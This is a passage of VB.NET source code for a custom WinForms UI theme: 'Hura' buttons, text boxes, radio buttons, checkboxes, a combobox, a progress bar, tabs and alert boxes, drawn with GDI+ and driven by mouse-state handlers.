SolidBrush(_AccentColor), New Rectangle(34, 0, 30, Height)) + Case ButtonHover.Close + G.FillRectangle(New SolidBrush(_AccentColor), New Rectangle(65, 0, 35, Height)) + End Select + + Dim ButtonFont As New Font("Marlett", 9.75F) + 'Close + G.DrawString("r", ButtonFont, New SolidBrush(Color.FromArgb(150, 150, 150)), New Point(Width - 16, 7), New StringFormat With {.Alignment = StringAlignment.Center}) + 'Maximize + Select Case Parent.FindForm().WindowState + Case FormWindowState.Maximized + G.DrawString("2", ButtonFont, New SolidBrush(Color.FromArgb(150, 150, 150)), New Point(51, 7), New StringFormat With {.Alignment = StringAlignment.Center}) + Case FormWindowState.Normal + G.DrawString("1", ButtonFont, New SolidBrush(Color.FromArgb(150, 150, 150)), New Point(51, 7), New StringFormat With {.Alignment = StringAlignment.Center}) + End Select + 'Minimize + G.DrawString("0", ButtonFont, New SolidBrush(Color.FromArgb(150, 150, 150)), New Point(20, 7), New StringFormat With {.Alignment = StringAlignment.Center}) + + + e.Graphics.DrawImage(B, New Point(0, 0)) + G.Dispose() : B.Dispose() + End Sub + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + MyBase.OnMouseDown(e) + Select Case ButtonState + Case ButtonHover.Close + Parent.FindForm().Close() + Case ButtonHover.Minimize + Parent.FindForm().WindowState = FormWindowState.Minimized + Case ButtonHover.Maximize + 'If Parent.FindForm().WindowState = FormWindowState.Normal Then + 'Parent.FindForm().WindowState = FormWindowState.Maximized + 'Else + 'Parent.FindForm().WindowState = FormWindowState.Normal + 'End If + + End Select + End Sub + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + MyBase.OnMouseLeave(e) + ButtonState = ButtonHover.None : Invalidate() + End Sub +End Class + +Public Class HuraButton + Inherits Control + +#Region "Declarations" + Private ReadOnly _Font As New Font("Segoe UI", 9) + Private _ProgressColour As Color = Color.FromArgb(0, 191, 255) + + Private _BorderColour As Color = Color.FromArgb(0, 170, 220) + Private _FontColour As Color = Color.FromArgb(150, 150, 150) + Private _MainColour As Color = Color.White + Private _HoverColour As Color = Color.FromArgb(255, 255, 255) + Private _PressedColour As Color = Color.FromArgb(245, 245, 245) + Private State As New MouseState +#End Region + +#Region "Mouse States" + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Properties" + + + Public Property ProgressColour As Color + Get + Return _ProgressColour + End Get + Set(value As Color) + _ProgressColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _MainColour + End Get + Set(value As Color) + _MainColour = value + End Set + End Property + + + Public Property HoverColour As Color + Get + Return _HoverColour + End Get + Set(value As Color) + _HoverColour = value + End Set + End Property + + + Public Property PressedColour As Color + Get + Return _PressedColour + End Get + Set(value As Color) + _PressedColour = value + End Set + End Property + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Size = New Size(75, 30) + BackColor = Color.Transparent + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim G = e.Graphics + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .InterpolationMode = CType(7, InterpolationMode) + .Clear(BackColor) + Select Case State + Case MouseState.None + .FillRectangle(New SolidBrush(_MainColour), New Rectangle(0, 0, Width, Height)) + .DrawRectangle(New Pen(_BorderColour, 2), New Rectangle(0, 0, Width, Height)) + .DrawString(Text, _Font, Brushes.Gray, New Point(CInt(Width / 2), CInt(Height / 2)), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Case MouseState.Over + .FillRectangle(New SolidBrush(_HoverColour), New Rectangle(0, 0, Width, Height)) + .DrawRectangle(New Pen(_BorderColour, 1), New Rectangle(1, 1, Width - 2, Height - 2)) + .DrawString(Text, _Font, Brushes.Gray, New Point(CInt(Width / 2), CInt(Height / 2)), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Case MouseState.Down + .FillRectangle(New SolidBrush(_PressedColour), New Rectangle(0, 0, Width, Height)) + .DrawRectangle(New Pen(_BorderColour, 1), New Rectangle(1, 1, Width - 2, Height - 2)) + .DrawString(Text, _Font, Brushes.Gray, New Point(CInt(Width / 2), CInt(Height / 2)), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + End Select + End With + End Sub + +#End Region + +End Class + +Public Class HuraTextBox + Inherits Control + +#Region "Declarations" + Private State As MouseState = MouseState.None + Private WithEvents TB As Windows.Forms.TextBox + Private _BaseColour As Color = Color.White + Private _TextColour As Color = Color.FromArgb(150, 150, 150) + Private _BorderColour As Color = Color.FromArgb(180, 180, 180) + Private _Style As Styles = Styles.Normal + Private _TextAlign As HorizontalAlignment = HorizontalAlignment.Left + Private _MaxLength As Integer = 32767 + Private _ReadOnly As Boolean + Private _UseSystemPasswordChar As Boolean + Private _Multiline As Boolean +#End Region + +#Region "TextBox Properties" + + Enum Styles + Normal + End Enum + + + Property TextAlign() As HorizontalAlignment + Get + Return _TextAlign + End Get + Set(ByVal value As HorizontalAlignment) + _TextAlign = value + If TB IsNot Nothing Then + TB.TextAlign = value + End If + End Set + End Property + + + Property MaxLength() As Integer + Get + Return _MaxLength + End Get + Set(ByVal value As Integer) + _MaxLength = value + If TB IsNot Nothing Then + TB.MaxLength = value + End If + End Set + End Property + + + Property [ReadOnly]() As Boolean + Get + Return _ReadOnly + End Get + Set(ByVal value As Boolean) + _ReadOnly = value + If TB IsNot Nothing Then + TB.ReadOnly = value + End If + End Set + End Property + + + Property UseSystemPasswordChar() As Boolean + Get + Return _UseSystemPasswordChar + End Get + Set(ByVal value As Boolean) + _UseSystemPasswordChar = value + If TB IsNot Nothing Then + TB.UseSystemPasswordChar = value + End If + End Set + End Property + + + Property Multiline() As Boolean + Get + Return _Multiline + End Get + Set(ByVal value As Boolean) + _Multiline = value + If TB IsNot Nothing Then + TB.Multiline = value + + If value Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + End If + End Set + End Property + + + Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + If TB IsNot Nothing Then + TB.Text = value + End If + End Set + End Property + + + Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + If TB IsNot Nothing Then + TB.Font = value + TB.Location = New Point(3, 5) + TB.Width = Width - 6 + + If Not _Multiline Then + Height = TB.Height + 11 + End If + End If + End Set + End Property + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + If Not Controls.Contains(TB) Then + Controls.Add(TB) + End If + End Sub + + Private Sub OnBaseTextChanged(ByVal s As Object, ByVal e As EventArgs) + Text = TB.Text + End Sub + + Private Sub OnBaseKeyDown(ByVal s As Object, ByVal e As KeyEventArgs) + If e.Control AndAlso e.KeyCode = Keys.A Then + TB.SelectAll() + e.SuppressKeyPress = True + End If + If e.Control AndAlso e.KeyCode = Keys.C Then + TB.Copy() + e.SuppressKeyPress = True + End If + End Sub + + Protected Overrides Sub OnResize(ByVal e As EventArgs) + TB.Location = New Point(5, 5) + TB.Width = Width - 10 + + If _Multiline Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + MyBase.OnResize(e) + End Sub + + Public Property Style As Styles + Get + Return _Style + End Get + Set(value As Styles) + _Style = value + End Set + End Property + + Public Sub SelectAll() + TB.Focus() + TB.SelectAll() + End Sub + + +#End Region + +#Region "Colour Properties" + + + Public Property BackgroundColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : TB.Focus() : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + BackColor = Color.Transparent + TB = New Windows.Forms.TextBox + TB.Height = 190 + TB.Font = New Font("Segoe UI", 10) + TB.Text = Text + TB.BackColor = Color.FromArgb(255, 255, 255) + TB.ForeColor = Color.FromArgb(150, 150, 150) + TB.MaxLength = _MaxLength + TB.Multiline = False + TB.ReadOnly = _ReadOnly + TB.UseSystemPasswordChar = _UseSystemPasswordChar + TB.BorderStyle = BorderStyle.None + TB.Location = New Point(5, 5) + TB.Width = Width - 35 + AddHandler TB.TextChanged, AddressOf OnBaseTextChanged + AddHandler TB.KeyDown, AddressOf OnBaseKeyDown + End Sub + + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim g = e.Graphics + Dim Base As New Rectangle(0, 0, Width, Height) + With g + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + TB.BackColor = Color.FromArgb(255, 255, 255) + TB.ForeColor = Color.FromArgb(150, 150, 150) + Select Case _Style + Case Styles.Normal + .FillRectangle(New SolidBrush(Color.FromArgb(255, 255, 255)), New Rectangle(0, 0, Width - 1, Height - 1)) + .DrawRectangle(New Pen(New SolidBrush(Color.FromArgb(180, 180, 180)), 2), New Rectangle(0, 0, Width, Height)) + End Select + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub + +#End Region + +End Class + +Class HuraGroupBox + Inherits ContainerControl + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.UserPaint Or ControlStyles.ResizeRedraw, True) + BackColor = Color.White + End Sub + + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + MyBase.OnPaint(e) + + Dim G As Graphics = e.Graphics + + G.SmoothingMode = SmoothingMode.HighQuality + G.Clear(Parent.BackColor) + + Dim mainRect As New Rectangle(0, 0, Width - 1, Height - 1) + G.FillRectangle(New SolidBrush(Color.White), mainRect) + G.DrawRectangle(New Pen(Color.FromArgb(180, 180, 180)), mainRect) + End Sub +End Class + + +Public Class HuraRadioButton + Inherits Control + +#Region "Declarations" + Private _Checked As Boolean + Private State As MouseState = MouseState.None + Private _HoverColour As Color = Color.FromArgb(240, 240, 240) + Private _CheckedColour As Color = Color.FromArgb(0, 170, 220) + Private _BorderColour As Color = Color.FromArgb(180, 180, 180) + Private _BackColour As Color = Color.FromArgb(255, 255, 255) + Private _TextColour As Color = Color.FromArgb(150, 150, 150) +#End Region + +#Region "Colour & Other Properties" + + + Public Property HighlightColour As Color + Get + Return _HoverColour + End Get + Set(value As Color) + _HoverColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BackColour + End Get + Set(value As Color) + _BackColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property CheckedColour As Color + Get + Return _CheckedColour + End Get + Set(value As Color) + _CheckedColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + Event CheckedChanged(ByVal sender As Object) + Property Checked() As Boolean + Get + Return _Checked + End Get + Set(value As Boolean) + _Checked = value + InvalidateControls() + RaiseEvent CheckedChanged(Me) + Invalidate() + End Set + End Property + + Protected Overrides Sub OnClick(e As EventArgs) + If Not _Checked Then Checked = True + MyBase.OnClick(e) + End Sub + Private Sub InvalidateControls() + If Not IsHandleCreated OrElse Not _Checked Then Return + For Each C As Control In Parent.Controls + If C IsNot Me AndAlso TypeOf C Is HuraRadioButton Then + DirectCast(C, HuraRadioButton).Checked = False + Invalidate() + End If + Next + End Sub + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + InvalidateControls() + End Sub + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 22 + End Sub +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Cursor = Cursors.Hand + Size = New Size(100, 22) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim G = e.Graphics + Dim Base As New Rectangle(1, 1, Height - 2, Height - 2) + Dim Circle As New Rectangle(6, 6, Height - 12, Height - 12) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(_BackColour) + .FillEllipse(New SolidBrush(_BackColour), Base) + .DrawEllipse(New Pen(_BorderColour, 2), Base) + If Checked Then + Select Case State + Case MouseState.Over + .FillEllipse(New SolidBrush(_HoverColour), New Rectangle(2, 2, Height - 4, Height - 4)) + End Select + .FillEllipse(New SolidBrush(_CheckedColour), Circle) + Else + Select Case State + Case MouseState.Over + .FillEllipse(New SolidBrush(_HoverColour), New Rectangle(2, 2, Height - 4, Height - 4)) + End Select + End If + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(24, 3, Width, Height), New StringFormat With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Near}) + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub +#End Region +End Class + + +Public Class HuraCheckBox + Inherits Control + +#Region "Declarations" + Private _Checked As Boolean + Private State As MouseState = MouseState.None + Private _CheckedColour As Color = Color.FromArgb(0, 170, 220) + Private _BorderColour As Color = Color.FromArgb(180, 180, 180) + Private _BackColour As Color = Color.White + Private _TextColour As Color = Color.FromArgb(150, 150, 150) +#End Region + +#Region "Colour & Other Properties" + + + Public Property BaseColour As Color + Get + Return _BackColour + End Get + Set(value As Color) + _BackColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property CheckedColour As Color + Get + Return _CheckedColour + End Get + Set(value As Color) + _CheckedColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + Protected Overrides Sub OnTextChanged(ByVal e As EventArgs) + MyBase.OnTextChanged(e) + Invalidate() + End Sub + + Property Checked() As Boolean + Get + Return _Checked + End Get + Set(ByVal value As Boolean) + _Checked = value + Invalidate() + End Set + End Property + + Event CheckedChanged(ByVal sender As Object) + Protected Overrides Sub OnClick(ByVal e As EventArgs) + _Checked = Not _Checked + RaiseEvent CheckedChanged(Me) + MyBase.OnClick(e) + End Sub + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 22 + End Sub +#End Region + +#Region "Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Cursor = Cursors.Hand + Size = New Size(100, 22) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim g = e.Graphics + Dim Base As New Rectangle(0, 0, 20, 20) + With g + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(Color.FromArgb(255, 255, 255)) + .FillRectangle(New SolidBrush(_BackColour), Base) + .DrawRectangle(New Pen(_BorderColour), New Rectangle(1, 1, 18, 18)) + Select Case State + Case MouseState.Over + .FillRectangle(New SolidBrush(Color.FromArgb(240, 240, 240)), Base) + .DrawRectangle(New Pen(_BorderColour), New Rectangle(1, 1, 18, 18)) + End Select + If Checked Then + Dim P() As Point = {New Point(4, 11), New Point(6, 8), New Point(9, 12), New Point(15, 3), New Point(17, 6), New Point(9, 16)} + .FillPolygon(New SolidBrush(_CheckedColour), P) + End If + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(24, 1, Width, Height - 2), New StringFormat With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Center}) + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub +#End Region + +End Class + +Public Class HuraComboBox : Inherits ComboBox +#Region " Control Help - Properties & Flicker Control " + Enum ColorSchemes + Dark + End Enum + Private _ColorScheme As ColorSchemes + Public Property ColorScheme() As ColorSchemes + Get + Return _ColorScheme + End Get + Set(ByVal value As ColorSchemes) + _ColorScheme = value + Invalidate() + End Set + End Property + + Private _AccentColor As Color + Public Property AccentColor() As Color + Get + Return _AccentColor + End Get + Set(ByVal value As Color) + _AccentColor = value + Invalidate() + End Set + End Property + + Private _StartIndex As Integer = 0 + Private Property StartIndex As Integer + Get + Return _StartIndex + End Get + Set(ByVal value As Integer) + _StartIndex = value + Try + MyBase.SelectedIndex = value + Catch + End Try + Invalidate() + End Set + End Property + Sub ReplaceItem(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DrawItemEventArgs) Handles Me.DrawItem + e.DrawBackground() + Try + If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then + e.Graphics.FillRectangle(New SolidBrush(_AccentColor), e.Bounds) + Else + Select Case ColorScheme + Case ColorSchemes.Dark + e.Graphics.FillRectangle(New SolidBrush(Color.FromArgb(255, 255, 255)), e.Bounds) + End Select + End If + Select Case ColorScheme + Case ColorSchemes.Dark + e.Graphics.DrawString(MyBase.GetItemText(MyBase.Items(e.Index)), e.Font, Brushes.Gray, e.Bounds) + End Select + Catch + End Try + End Sub + Protected Sub DrawTriangle(ByVal Clr As Color, ByVal FirstPoint As Point, ByVal SecondPoint As Point, ByVal ThirdPoint As Point, ByVal G As Graphics) + Dim points As New List(Of Point)() + points.Add(FirstPoint) + points.Add(SecondPoint) + points.Add(ThirdPoint) + G.FillPolygon(New SolidBrush(Clr), points.ToArray()) + End Sub + +#End Region + + Sub New() + MyBase.New() + SetStyle(ControlStyles.AllPaintingInWmPaint, True) + SetStyle(ControlStyles.ResizeRedraw, True) + SetStyle(ControlStyles.UserPaint, True) + SetStyle(ControlStyles.DoubleBuffer, True) + SetStyle(ControlStyles.SupportsTransparentBackColor, True) + DrawMode = Windows.Forms.DrawMode.OwnerDrawFixed + BackColor = Color.FromArgb(255, 255, 255) + Size = New Size(189, 24) + ForeColor = Color.White + AccentColor = Color.FromArgb(180, 180, 180) + ColorScheme = ColorSchemes.Dark + DropDownStyle = ComboBoxStyle.DropDownList + Font = New Font("Segoe UI", 9.5) + StartIndex = 0 + DoubleBuffered = True + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G As Graphics = Graphics.FromImage(B) + Dim Curve As Integer = 2 + + + G.SmoothingMode = SmoothingMode.HighQuality + + + Select Case ColorScheme + Case ColorSchemes.Dark + G.Clear(Color.FromArgb(255, 255, 255)) + G.DrawLine(New Pen(Color.FromArgb(0, 170, 220), 2), New Point(Width - 18, 10), New Point(Width - 14, 14)) + G.DrawLine(New Pen(Color.FromArgb(0, 170, 220), 2), New Point(Width - 14, 14), New Point(Width - 10, 10)) + G.DrawLine(New Pen(Color.FromArgb(0, 170, 220)), New Point(Width - 14, 15), New Point(Width - 14, 14)) + + End Select + G.DrawRectangle(New Pen(Color.FromArgb(180, 180, 180)), New Rectangle(0, 0, Width - 1, Height - 1)) + + + Try + Select Case ColorScheme + Case ColorSchemes.Dark + G.DrawString(Text, Font, Brushes.Gray, New Rectangle(7, 0, Width - 1, Height - 1), New StringFormat With {.LineAlignment = StringAlignment.Center, .Alignment = StringAlignment.Near}) + End Select + Catch + End Try + + e.Graphics.DrawImage(B.Clone(), 0, 0) + G.Dispose() : B.Dispose() + End Sub +End Class + +Public Class HuraProgressBar + Inherits Control + +#Region "Declarations" + Private _ProgressColour As Color = Color.FromArgb(0, 170, 220) + Private _BorderColour As Color = Color.FromArgb(190, 190, 190) + Private _BaseColour As Color = Color.FromArgb(255, 255, 255) + Private _FontColour As Color = Color.FromArgb(50, 50, 50) + Private _SecondColour As Color = Color.FromArgb(0, 170, 250) + Private _Value As Integer = 0 + Private _Maximum As Integer = 100 + Private _TwoColour As Boolean = True +#End Region + +#Region "Properties" + + Public Property SecondColour As Color + Get + Return _SecondColour + End Get + Set(value As Color) + _SecondColour = value + End Set + End Property + + + Public Property TwoColour As Boolean + Get + Return _TwoColour + End Get + Set(value As Boolean) + _TwoColour = value + End Set + End Property + + + Public Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(V As Integer) + Select Case V + Case Is < _Value + _Value = V + End Select + _Maximum = V + Invalidate() + End Set + End Property + + + Public Property Value() As Integer + Get + Select Case _Value + Case 0 + Return 0 + Invalidate() + Case Else + Return _Value + Invalidate() + End Select + End Get + Set(V As Integer) + Select Case V + Case Is > _Maximum + V = _Maximum + Invalidate() + End Select + _Value = V + Invalidate() + End Set + End Property + + + Public Property ProgressColour As Color + Get + Return _ProgressColour + End Get + Set(value As Color) + _ProgressColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + +#End Region + +#Region "Events" + + Public Sub Increment(ByVal Amount As Integer) + Value += Amount + End Sub + +#End Region + +#Region "Draw Control" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim G = e.Graphics + Dim Base As New Rectangle(0, 0, Width, Height) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + Dim ProgVal As Integer = CInt(_Value / _Maximum * Width) + Select Case Value + Case 0 + .FillRectangle(New SolidBrush(_BaseColour), Base) + .FillRectangle(New SolidBrush(_ProgressColour), New Rectangle(0, 0, ProgVal - 1, Height)) + .DrawRectangle(New Pen(_BorderColour, 2), Base) + Case _Maximum + .FillRectangle(New SolidBrush(_BaseColour), Base) + .FillRectangle(New SolidBrush(_ProgressColour), New Rectangle(0, 0, ProgVal - 1, Height)) + If _TwoColour Then + For i = 0 To (Width - 1) * _Maximum / _Value Step 25 + G.DrawLine(New Pen(New SolidBrush(_SecondColour), 7), New Point(CInt(i), 0), New Point(CInt(i - 15), Height)) + Next + G.ResetClip() + Else + End If + .DrawRectangle(New Pen(_BorderColour, 2), Base) + Case Else + .FillRectangle(New SolidBrush(_BaseColour), Base) + .FillRectangle(New SolidBrush(_ProgressColour), New Rectangle(0, 0, ProgVal - 1, Height)) + If _TwoColour Then + .SetClip(New Rectangle(0, 0, CInt(Width * _Value / _Maximum - 1), Height - 1)) + For i = 0 To (Width - 1) * _Maximum / _Value Step 25 + .DrawLine(New Pen(New SolidBrush(_SecondColour), 7), New Point(CInt(i), 0), New Point(CInt(i - 10), Height)) + Next + .ResetClip() + Else + End If + .DrawRectangle(New Pen(_BorderColour, 2), Base) + End Select + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub + +#End Region + +End Class + +Class HuraTabControl + Inherits TabControl + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.ResizeRedraw Or _ + ControlStyles.UserPaint Or ControlStyles.DoubleBuffer, True) + ItemSize = New Size(0, 30) + Font = New Font("Segoe UI", 9.5) + End Sub + + Protected Overrides Sub CreateHandle() + MyBase.CreateHandle() + Alignment = TabAlignment.Top + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + + Dim G As Graphics = e.Graphics + + Dim borderPen As New Pen(Color.FromArgb(255, 255, 255)) + + G.SmoothingMode = SmoothingMode.HighQuality + G.Clear(Parent.BackColor) + + Dim fillRect As New Rectangle(2, ItemSize.Height + 2, Width - 6, Height - ItemSize.Height - 3) + + G.DrawRectangle(borderPen, fillRect) + + Dim FontColor As New Color + + For i = 0 To TabCount - 1 + + Dim mainRect As Rectangle = GetTabRect(i) + + If i = SelectedIndex Then + + G.FillRectangle(New SolidBrush(Color.FromArgb(255, 255, 255)), mainRect) + G.DrawRectangle(borderPen, mainRect) + G.DrawLine(New Pen(Color.FromArgb(0, 173, 220)), New Point(mainRect.X, mainRect.Y + 25), New Point(mainRect.X + mainRect.Width - 0, mainRect.Y + 25)) + + FontColor = Color.FromArgb(150, 150, 150) + + Else + + G.FillRectangle(New SolidBrush(Color.FromArgb(255, 255, 255)), mainRect) + G.DrawRectangle(borderPen, mainRect) + G.DrawLine(New Pen(Color.FromArgb(200, 200, 200)), New Point(mainRect.X, mainRect.Y + 25), New Point(mainRect.X + mainRect.Width - 0, mainRect.Y + 25)) + FontColor = Color.FromArgb(180, 180, 180) + + End If + + Dim titleX As Integer = (mainRect.Location.X + mainRect.Width / 2) - (G.MeasureString(TabPages(i).Text, Font).Width / 2) + Dim titleY As Integer = (mainRect.Location.Y + mainRect.Height / 2) - (G.MeasureString(TabPages(i).Text, Font).Height / 2) + G.DrawString(TabPages(i).Text, Font, New SolidBrush(FontColor), New Point(titleX, titleY)) + + Try : TabPages(i).BackColor = Color.FromArgb(255, 255, 255) : Catch : End Try + + Next + + End Sub + +End Class + +Class HuraAlertBox + Inherits Control + + Private exitLocation As Point + Private overExit As Boolean + + Enum Style + Simple + Success + Notice + Warning + Informations + End Enum + + Private _alertStyle As Style + Public Property AlertStyle As Style + Get + Return _alertStyle + End Get + Set(ByVal value As Style) + _alertStyle = value + Invalidate() + End Set + End Property + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.UserPaint Or ControlStyles.ResizeRedraw, True) + Font = New Font("Verdana", 8) + Size = New Size(200, 40) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + MyBase.OnPaint(e) + + Dim G As Graphics = e.Graphics + + G.SmoothingMode = SmoothingMode.HighQuality + G.Clear(Parent.BackColor) + + Dim borderColor, innerColor, textColor As Color + Select Case _alertStyle + Case Style.Simple + borderColor = Color.FromArgb(0, 170, 220) + innerColor = Color.White + textColor = Color.FromArgb(150, 150, 150) + Case Style.Success + borderColor = Color.FromArgb(105, 130, 124) + innerColor = Color.FromArgb(60, 105, 79) + textColor = Color.FromArgb(110, 150, 129) + Case Style.Notice + borderColor = Color.FromArgb(115, 136, 139) + innerColor = Color.FromArgb(110, 131, 134) + textColor = Color.FromArgb(97, 185, 186) + Case Style.Warning + borderColor = Color.FromArgb(155, 126, 126) + innerColor = Color.FromArgb(150, 121, 121) + textColor = Color.FromArgb(254, 142, 122) + Case Style.Informations + borderColor = Color.FromArgb(165, 165, 116) + innerColor = Color.FromArgb(160, 160, 111) + textColor = Color.FromArgb(254, 224, 122) + End 